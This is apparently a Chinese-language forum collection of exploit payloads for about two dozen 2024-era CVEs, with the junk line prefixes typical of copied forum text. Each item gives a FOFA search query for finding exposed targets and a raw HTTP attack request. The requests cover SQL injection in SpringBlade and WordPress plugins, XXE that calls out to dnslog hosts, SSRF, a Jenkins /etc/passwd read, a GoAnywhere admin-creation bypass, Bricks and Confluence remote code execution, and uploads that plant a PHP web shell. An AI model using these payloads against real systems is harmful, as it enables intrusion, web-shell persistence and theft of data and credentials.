& S6 ?/ z" v. b! zPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
# T5 o! ]4 b1 \8 t  a/ e: THost: 192.168.40.130:111
% Q' h4 S# b6 J. B8 LUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
8 R5 g4 N: z6 t3 HContent-Length: 204
Content-Type: application/x-www-form-urlencoded
6 P4 p! ?; }, [: v9 V/ x, Y1 d/ QAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
( _  w- {6 y, G+ @) A# y

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


5 `- g+ h6 v9 P1 q, {104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
7 c% C( q- f! S% O& K4 S* VFOFA：title="TOTOLINK"
  X3 }1 Y; y) |  x! ?3 IPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
# l/ a" ~6 w+ w/ P3 X) ]; @Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
* X# L. C( z5 z. ?, WAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
4 u" L% n8 y: M& i  U3 X, o0 |Connection:close

{
"topicurl":"getSysStatusCfg",
"token":""
}
( I+ t" K: K' A* b5 S0 K
3 ?; J% i6 b( Y, ~3 w) X105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
" C( O6 H3 Y$ w7 ^, T: e
' K* Z0 i  i- s- }) ]106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
( g2 b2 b; w. B+ _7 Q0 N8 ^/ }Host: your-ip
, V; T, I9 `" B  A$ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
, L1 `) Z! n  d4 {; ZAccept-Language: zh-CN,zh;q=0.9
1 x) K7 |4 m. n2 @( P/ QConnection: close
( i$ u8 A/ N; R  F

107. SpringBlade tenant/list SQL 注入
, A+ I# v: `  V6 EFOFA：body="https://bladex.vip"
- C& f- j( w! @  |9 rGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ a4 F8 g( q3 `5 ~4 EHost: your-ip
' ~1 R4 E& `. g& g3 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* |# r* t, p6 P/ a) Z" `. `4 D# |Blade-Auth:替换为自己的
. y* R! i$ |) JConnection: close
* O, A  q/ @/ |. g% B

108. D-Tale 3.9.0 SSRF
( q& R( {" U3 }7 h' yCVE-2024-21642
& I% t8 Q0 z6 h5 y3 f1 p% B2 pFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
0 O0 C' z1 T7 ]! K7 T! H$ L( @Host: your-ip
" v* Z' o+ I& k1 J$ ~Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 L5 ^, v. H! ^5 P1 mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

; C9 \4 [0 G  F1 a: D$ c
/ H( W0 x* \3 r" V( z5 Y: b109. Jenkins CLI 任意文件读取
: U0 b+ z  [" T* M3 z3 q$ m. ~% QCVE-2024-23897
0 I! B! j( Y: X0 j( sFOFA：header="X-Jenkins"
: Q4 P) p5 O7 W4 m) `POST /cli?remoting=false HTTP/1.1
Host:
# w( b" Q. |& C, V6 hContent-type: application/octet-stream
  `( L' z+ O" m7 }6 g/ `- lSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
, c( U" [; B% M  {Connection: keep-alive
2 P& r" F, S% ]7 \$ l5 L0 B, _) ~Content-Length: 163

- J8 y$ s0 }+ x6 o& Y% P; cb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

7 u  u* p! I, ^2 d: @" Z8 ^: r
4 f9 o. A" {) ]5 o6 v5 RPOST /cli?remoting=false HTTP/1.1
5 Q! M, E& e6 @. j2 OHost:
4 M/ P# f& [: m; O4 t+ FSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
/ j0 v& f: K9 ?3 Udownload
Content-Type: application/x-www-form-urlencoded
2 P" o3 V/ O3 t  GContent-Length: 0
3 ^2 L- |' A% X4 [) V6 F/ ~

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
+ }7 U$ Y1 r8 o$ Z# QCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
# g  D* M8 M% D0 ^0 x0 IGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
  \. l: f* K+ s: PHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
3 X, g0 y! h3 i/ o0 R

) C  [( J7 b: U6 o* P$ r7 n111. WordPress Plugin HTML5 Video Player SQL注入
1 L6 ^# B& P, B) P: `CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
# o: z$ N6 ^$ uHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
' y( L1 V( n1 q2 f; f0 RAccept: */*
Accept-Language: en
Accept-Encoding: gzip
2 |0 [1 ?8 ?1 }+ r; u3 ]
: p7 T  h. P+ }$ l* R
! h. {# I% s! D5 U! K112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
; z0 G1 x8 L; a6 S' |" {6 wPOST /wp-json/notificationx/v1/analytics HTTP/1.1
: n; b: m6 w; P3 KHost: {{Hostname}}
Content-Type: application/json

* @6 `3 ~+ V' U" j{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
' t. H+ _# h* V+ S! Z

+ _! k# `: h, b3 N) F9 ^& d" W113. WordPress Automatic 插件任意文件下载和SSRF
9 z# ~2 j3 o+ Y: G7 z+ fCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
9 T$ j+ h0 u& Z/ \GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
: c! \# \; v6 \9 H: NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
3 N/ L5 d( y2 u9 i  p' yConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

! {0 v  w; P- r6 x3 ]
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

6 Q% u- I& u2 ?* X% }2 f, k, P+ R
3 [  H7 a2 `5 s- Z. d115. WordPress Bricks Builder <= 1.9.6 RCE
4 c; R- l7 m, F, ]CVE-2024-25600
% V8 _( }! e$ R1 K8 t8 i$ ?FOFA: body="/wp-content/themes/bricks/"
0 f0 Y3 a" K1 g. H第一步，获取网站的nonce值
$ W  `& n2 B; J) |: X6 I: ZGET / HTTP/1.1
Host: x.x.x.x
8 F# J( J$ Z1 O  C% gUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
: R! L7 K0 F9 H" E! D5 xAccept-Encoding: gzip
; ]( @7 U4 t7 H, ~' s! H

  q8 W( W! y8 q; r. P) {第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
, n5 m: j' F' Y7 h. dHost: x.x.x.x
& u: ^' ^- \( xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% v! b+ ^- }5 c3 w0 \/ LConnection: close
1 B* [$ e' \& T" E; s8 d* qContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
7 q: ?" Y# c0 Q+ K
2 y3 F* a) K; _: C  C{
9 u% N, }' C; r/ S) u8 o"postId": "1",
& k1 ^9 Q1 T. W  "nonce": "第一步获得的值",
5 I7 r/ M- D" H% C/ p  "element": {
! P# i& D5 N' P0 H" q; i  }9 \8 p    "name": "container",
4 a* N# ?+ N/ E    "settings": {
6 v: p' v" Y1 |# K. S2 w5 N      "hasLoop": "true",
3 F6 |! _6 y( G: E      "query": {
        "useQueryEditor": true,
! n1 E4 F3 p/ B, v& D7 \. N        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
4 ], y& y# s* V+ z# v8 I        "objectType": "post"
7 ?7 ~+ }2 W6 K% C: P! R      }
    }
  }
3 r/ P$ O( L7 z- m0 n& K+ q3 F2 n, g}
! @, O& p: Q" k/ _# R
( x9 k) G8 M% E) S8 L' Z
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
: ~4 X( A: `, {+ }0 pHost:
Content-Type: multipart/form-data; boundary=--------767099171
# T3 W: ^+ F* H. lUser-Agent: Mozilla/5.0

----------767099171
; j( n4 ~8 c/ EContent-Disposition: form-data; name="action"
, V0 F' P+ u% n$ V  V8 a) Wconfiguration_saveconfiguration
0 p# l# ~, m# @, `6 _----------767099171
Content-Disposition: form-data; name="form_request"
$ v. {. W# y3 n! C- _3 Kjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
0 c: v$ L* e- a+ C2 G
6 P4 }' ^+ p7 {  b- a( V
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
* @1 A* w; i4 j! v$ AFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
* c* v5 `4 U. z  dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* K% ?/ C+ J# N, wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 a3 C. L* B  `0 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# o. s9 f) W# }; d/ P; DConnection: close
Upgrade-Insecure-Requests: 1

  z/ L' W- b, U5 u' E/ q: k* Z
1 g5 A; s, k0 i$ ]- y4 r' ^$ @118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
& r5 F2 Q8 U' O0 u2 pFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
! s: n1 `9 @$ T  g& i% \# tHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
( S5 R( ?, c: y1 k  B; k; v) |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* b$ _3 `0 s: ~7 {' bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Z; B6 y0 ?" c7 @Accept-Encoding: gzip, deflate
6 [$ A6 s/ ]" t, P8 iContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
" ]2 L0 V0 m+ \$ m+ DContent-Length: 405
+ W9 }, X5 o% f. _& LOrigin: https://192.168.40.130:8443
* _  L! ~9 M  [Referer: https://192.168.40.130:8443/Tool/uploadfile.php
" b$ `6 ?5 ^1 ^9 VUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
: c" R' m/ d3 M) p2 b' n) lSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
* ~* U8 j7 h1 X7 R6 [, X. u% U) {Te: trailers
3 P6 P1 \( Q: J  j/ e; k# ]Connection: close
$ Y9 E* w  }& [; n% j$ C
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
& j7 u" w- a+ \3 S% c+ \& `
! O$ Y6 i- n4 h, {  c6 x4 T<?php
& {% [2 v( G, E; x/ _system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

8 G5 i+ r+ p/ i0 J: o, ?* T2 ]$ i/home/src.php
( p6 H. p  D+ d& _! j-----------------------------13979701222747646634037182887--
8 C$ z  E# M; H2 k: _/ C
2 v. G3 U/ g# B( j
4 k4 O5 ^) z7 n$ g) N) \访问/home/src.php
2 n7 F9 \9 A, p% f* q+ \. ~( P8 ~
( l/ B! }2 \7 G9 R& [1 T% K5 o: D119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
, D$ V4 J) Z$ X. \, F. }9 u" nFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
% [& [4 M; H9 B* t* c2 fHost: x.x.x.x
/ U! n( s! Y( A6 u, eCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
' E! y/ V' A, n5 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
$ y' F1 V& N) ~9 nAccept: */*
7 V9 `+ w4 w  g% y7 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 A2 Y) l8 X- z$ M0 ^Accept-Encoding: gzip, deflate
( a+ X5 A2 k5 W: K3 H6 wContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
0 W; n2 s2 W/ t6 fSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
6 S  G2 W. x/ M5 l  n! MSec-Fetch-Site: same-origin
; r7 P7 w7 J. O/ Z6 tX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
7 r9 Z% D1 t/ O& Z  _X-Remote-Ip: 1.1.1.1
, z( r; U& v* p5 g9 x; lX-Remote-Addr: 1.1.1.1
Te: trailers
  a! t; \4 p! `3 ~  q9 n! w& LConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
6 w1 e& }1 @  w+ V' f. x/ c
7 F* u$ V5 q) ^
120. 北京百绰智能S40管理平台导入web.php任意文件上传
3 ?* z# E* M' ]! K- }  |$ X1 @CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
; K) J4 K. J6 ~8 `Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
5 S# Z' j3 J% V) [: E' k' {: rUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
1 D# p9 ~, w2 j) I8 q% }0 a* VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) @( R8 I/ [" B" P: w/ GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. E& b- c: M) A& @* yContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
% T* L$ O4 ^; d& {4 qContent-Length: 597
% J$ K+ T: l! xOrigin: https://ip:port
- E5 `9 u, O0 P8 MReferer: https://ip:port/sysmanage/licence.php
$ a3 r- \9 w; r% m) `5 ]( `& m8 nUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
( e: V, U! E3 S7 I7 t! ]' OSec-Fetch-Site: same-origin
( y3 I  p; b# ?3 X' cSec-Fetch-User: ?1
Te: trailers
Connection: close
" X  H! D' A9 v
-----------------------------42328904123665875270630079328
6 r/ y: J, h. l; H  YContent-Disposition: form-data; name="file_upload"; filename="2.php"
. S1 m0 H6 J" ~' v9 y8 H1 ]( vContent-Type: application/octet-stream
8 s. R3 `8 J- k4 ^  S0 R
0 g1 H. p5 w& }1 Y& }<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
8 m5 M4 w7 u6 O  ^4 }$ u" N
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

7 ]3 j; x  m9 l/ a1_radhttp
-----------------------------42328904123665875270630079328
$ F8 @& Y3 _+ l  NContent-Disposition: form-data; name="mode"
4 l! U. c/ S5 @# Z# ]3 F
import
-----------------------------42328904123665875270630079328

$ q% l! w! Y0 L, K+ K
  M; t8 q% [, k9 W: T" W3 T5 h文件路径/upload/2.php
& Q; J0 F% }; @9 E( E( F4 ~3 N
- k, ~1 f1 A" L2 `1 c121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
# {# D# m6 V* L, }( j! l2 aFOFA：title="Smart管理平台"
, r7 m% ]. T4 D- g. Q& F3 TPOST /useratte/userattestation.php HTTP/1.1
# K" V9 q4 d3 s4 A2 b, EHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
8 z! A- z$ \9 {- O6 yUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' K5 C5 y$ r1 B4 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
8 x" U1 N, W2 j- F. `, O) f- x1 a- I6 h6 tContent-Length: 592
6 U( V4 o- F8 d2 f* }7 Q4 z! hOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
$ D. `5 O& \3 o* X( m9 `9 w9 QSec-Fetch-Dest: document
; k2 [8 D$ z! [' X" E+ ~Sec-Fetch-Mode: navigate
$ j9 \4 T9 q7 HSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 V1 _4 X; N2 s7 X$ r! STe: trailers
5 a. r8 O& T3 ^Connection: close
; B3 d& \. t+ M2 @; q
-----------------------------42328904123665875270630079328
: E' Z2 N+ o) O% u6 OContent-Disposition: form-data; name="web_img"; filename="1.php"
( I1 g' e+ I  Z& M9 o  W: dContent-Type: application/octet-stream

6 b+ I2 I: a  X8 d4 Y<?php phpinfo();?>
-----------------------------42328904123665875270630079328
0 a# G$ k( y9 b  F4 YContent-Disposition: form-data; name="id_type"

4 b3 m# G+ Y/ n' Y! `$ `7 G  U1
9 E% y' Z/ _: X1 {* Q-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
; n! Y+ k7 C3 Y4 X: E) [
1_radhttp
-----------------------------42328904123665875270630079328
0 `  G, }& T* r+ B' I/ k# EContent-Disposition: form-data; name="hidwel"
2 b+ u2 o- P, ?/ n/ l9 I
set
-----------------------------42328904123665875270630079328
; X) q" @7 g8 k  f; ?1 x5 a, E# T

& W5 ]' Q0 A; f" iboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
2 t( x0 z/ h3 t  NCVE-2024-27718FOFA：title="Smart管理平台"
/ G% p+ r9 }: R9 `+ F其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
- z1 D% g/ w2 m: _" |* v- xGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
/ @8 C" c9 s* D& FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 @  X6 t# W2 Z/ B2 a4 W) l  |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  k1 h( r1 D' j3 r: VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 W$ y+ V' F/ hSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
- q$ d( o3 k3 H( k  [, PSec-Fetch-User: ?1
+ _" X. Y+ N  d- x/ m& T$ }Te: trailers
- H# A2 N7 a1 V! _& n% D# AConnection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
& }; M- J. ?! \' tPOST /template/aui/text-inline.vm HTTP/1.1
% i" y( w; j- a3 }0 dHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
. |+ J) J, }' e9 U, uAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

) q8 U- M5 D7 Q2 clabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

! {8 t) D2 ~- y$ S( Z
8 ]9 H# L; q% L! O1 ?124. 湖南建研工程质量检测系统任意文件上传
9 I, x8 z" D/ I0 D. u" D3 J1 JFOFA：body="/Content/Theme/Standard/webSite/login.css"
" `: s8 }" A# @5 ~- d5 NPOST /Scripts/admintool?type=updatefile HTTP/1.1
5 D) s$ t2 T% G. T4 ?Host: 192.168.40.130:8282
- C. B4 o/ T/ i8 [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
0 J$ H# c& I" w) C" A/ TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
# I& x3 }- R1 q( xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 A% E. H1 s, X4 H4 t$ \& }Connection: close
Content-Type: application/x-www-form-urlencoded
- F$ X' I; d4 p
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
9 T3 K8 k) x) D4 |# U, d$ p

http://192.168.40.130:8282/Scripts/abcgcg.aspx

7 `* Z6 s  C/ z3 ]2 }1 |125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
7 l* X7 C* @3 \! F" O) SFOFA：icon_hash="-82958153"
, P, m' Q( A2 D7 M! J( ^& ^) }  zhttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

7 M% u0 Q, {' T2 P+ y
创建好用户后直接登录后台，可以执行系统命令。
. i) @1 P: n$ [
126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
+ o0 O9 ]- s) c( o' rGET /static/../../../../../etc/passwd HTTP/1.1
' X1 V( d: l3 `5 P$ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
# [' b9 N4 u. v* ]: p& y* zConnection: close
Accept: */*
: M3 M2 h% h9 b4 ?+ e5 D! L7 TAccept-Language: en
Accept-Encoding: gzip

9 u- _4 D4 ]; I: V. @/ z. M% ?5 r
4 p* N6 j8 E1 c127. 广联达Linkworks DataExchange.ashx XXE
! v& N. o. V7 K( n- EFOFA：body="Services/Identification/login.ashx"
+ y. N' Z* d4 s  `POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
; ?  j2 O: L  u7 x+ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
9 F; D+ P4 u% H4 I1 F/ {Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# f8 G0 T8 i: z: DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 P3 E& ^/ G. z" [' ~5 wConnection: close
6 H6 e) `# `8 b' X7 _Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
. N( v5 |# g$ b2 |0 W: ?
------WebKitFormBoundaryJGgV5l5ta05yAIe0
' E% j6 A. Y( H: G  j! g) I% X3 X4 v. YContent-Disposition: form-data;name="SystemName"
4 A* f$ s3 t: F* h4 m: Q- o
# q  u4 }6 d9 q- a3 a& V3 \7 N5 y, ^BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
0 j5 P: r# Z" M* z& Y) s9 aContent-Disposition: form-data;name="Params"
Content-Type: text/plain
8 w2 }$ J/ G; ~
& \  m; D9 L8 I# m# V/ |<?xml version="1.0" encoding="UTF-8"?>
' g# J& S% Y4 W& F* f7 ]+ j<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

9 n2 J- Y1 ?; f, F

